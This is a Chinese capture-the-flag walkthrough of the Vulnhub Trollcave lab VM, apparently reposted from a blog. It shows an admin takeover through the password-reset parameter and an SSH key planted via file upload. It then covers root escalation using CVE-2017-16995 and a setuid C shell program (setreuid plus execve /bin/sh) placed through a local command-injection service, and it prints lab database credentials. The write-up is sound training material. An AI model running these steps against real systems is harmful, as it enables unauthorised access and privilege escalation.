0x000 靶场描述


Trollcave是一个易受攻击的VM,在Vulnhub和信息安全战争游戏的传统中。你从一个你一无所知的虚拟机开始 – 没有用户名,没有密码,只是你可以在网络上看到的东西。在这种情况下,您将看到一个简单的社区博客网站,其中包含一群用户。从这个初始点开始,您将枚举计算机的运行服务和一般特征,并设计通过查找和利用漏洞和错误配置来完全控制它的方法。

您的第一个目标是滥用计算机上的服务来获取未经授权的 shell 访问权限。您的最终目标是读取用户主目录中的文本文件)。root/flag.txt


0x001 靶场下载


https://www.vulnhub.com/entry/trollcave-12,230/


0x002 信息收集


探测存活主机

netdiscover -r 192.168.1.0/24

探测存活主机

端口扫描

nmap -sS -sV -A -p 1-65535 192.168.1.106

端口扫描

访问网站,发现有密码重置漏洞,并且还给了一个password_resets目录,访问之后发现拒绝访问,尝试目录扫描。

image

目录扫描

dirsearch -u http://192.168.1.106/

目录扫描


0x003 漏洞利用


密码重置漏洞

访问 http://192.168.1.102/password_resets/new 会来到密码重置页面,尝试重置xer用户密码。

password_resets

访问 http://192.168.1.102/password_resets/edit.b4vwNXs2bz9dWJGAaqc1Cw?name=xer 填写密码即可重置成功。

然后进行登陆xer用户,查找可以getshell的地方,找到一个文件上传,但是权限不够。。

在users用户界面发现 king 是管理员用户,尝试重置密码。

users

按照上面的操作,重置king用户的密码,但是没权限,然后尝试将 http://192.168.1.102/password_resets/edit.b4vwNXs2bz9dWJGAaqc1Cw?name=xer 改为 http://192.168.1.102/password_resets/edit.b4vwNXs2bz9dWJGAaqc1Cw?name=king 访问之后,发现可以重置密码,成功登陆king管理员账号。

king

文件上传漏洞

然后准备上传文件getshell,但是显示没权限,查看设置里面是否没有开启;发现没有开启,打开后可以正常上传。

upload

上传一个php木马文件,成功上传,但是没有解析。抓包分析,发现上传的文件可以更改路径,因为开启了22端口,可以上传一个公钥文件,从而getshell。

kali生成密钥,然后上传到目标文件夹下;但是不知道网站的用户是什么。。。查看网站发现了如下用户rails,并且在 https://github.com/rails/rails 发现了网站源码,此网站安装时会默认创建一个rails用户。

rails

ssh-keygen -f rails
mv rails.pub authorized_key

authorized_keys

ssh远程登陆

mv rails id_rsa-rails 
chmod 600 id_rsa-rails
ssh -i id_rsa-rails rails@192.168.1.102

ssh


0x004 提权


cve-2017-16995 提权

cat /etc/lsb-release 查看当前系统版本

version

在kali使用命令 searchsploit Ubuntu 14.04 查找 Ubuntu 14.04 版本相关漏洞

45010.c

在本地对漏洞利用exp进行编译,然后使用wget上传到目标机,赋予执行权限,成功提权到root权限。

root

通过其他方式提权

查看网络信息,发现存在PostgreSQL数据库5432端口和node服务8888端口,并且只允许本地访问。

netstat

查看网站的配置目录,发现里面有数据库的配置文件,查看发现了数据库的账号密码
username: tc
password: sowvillagedinnermoment

PostgreSQL

sqlite3 信息搜索,查看所有用户,但是好像没什么用,暂时先放一放。

PostgreSQL

登陆PostgreSQL数据库

Shift + ~ + C 打开ssh开启5432本地转发

成功登陆PostgreSQL数据库,但是表里面没有信息。

PostgreSQL

Shift + ~ + C 打开ssh开启8888本地转发,查看8888端口页面是什么。

burpsuite抓包,发现可以执行命令,但是命令来源于calc

8888端口

使用 find / -name calc -print 2>&1 | grep -v ‘Permission denied’ 命令查找calc

calc

分析源代码,发现 var exec = require(‘child_process’).exec; 这一句可以执行命令;但是不能直接返回执行命令的结果,只会返回一个对象;因此尝试读取文件内容写入到文件,但是发现不能写入,但是用户变了。

calc.js

image

此时可以创建一个exp文件,然后上传到目标机,利用命令执行让他隶属king用户

这里要将setreuid改为king的用户id

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
    setreuid(1000,1000); 
    execve("/bin/sh",NULL,NULL);
}

使用wget上传,然后在目标机新建1.sh文件

#!/bin/sh

cp /tmp/exp /home/king/exp
chmod 4755 /home/king/exp

这里一定要赋予4755权限

king组

运行exp,成功提权到root权限。

root


0x005 查找flag


flag

原文地址:http://www.cnblogs.com/Cx330Lm/p/16901105.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性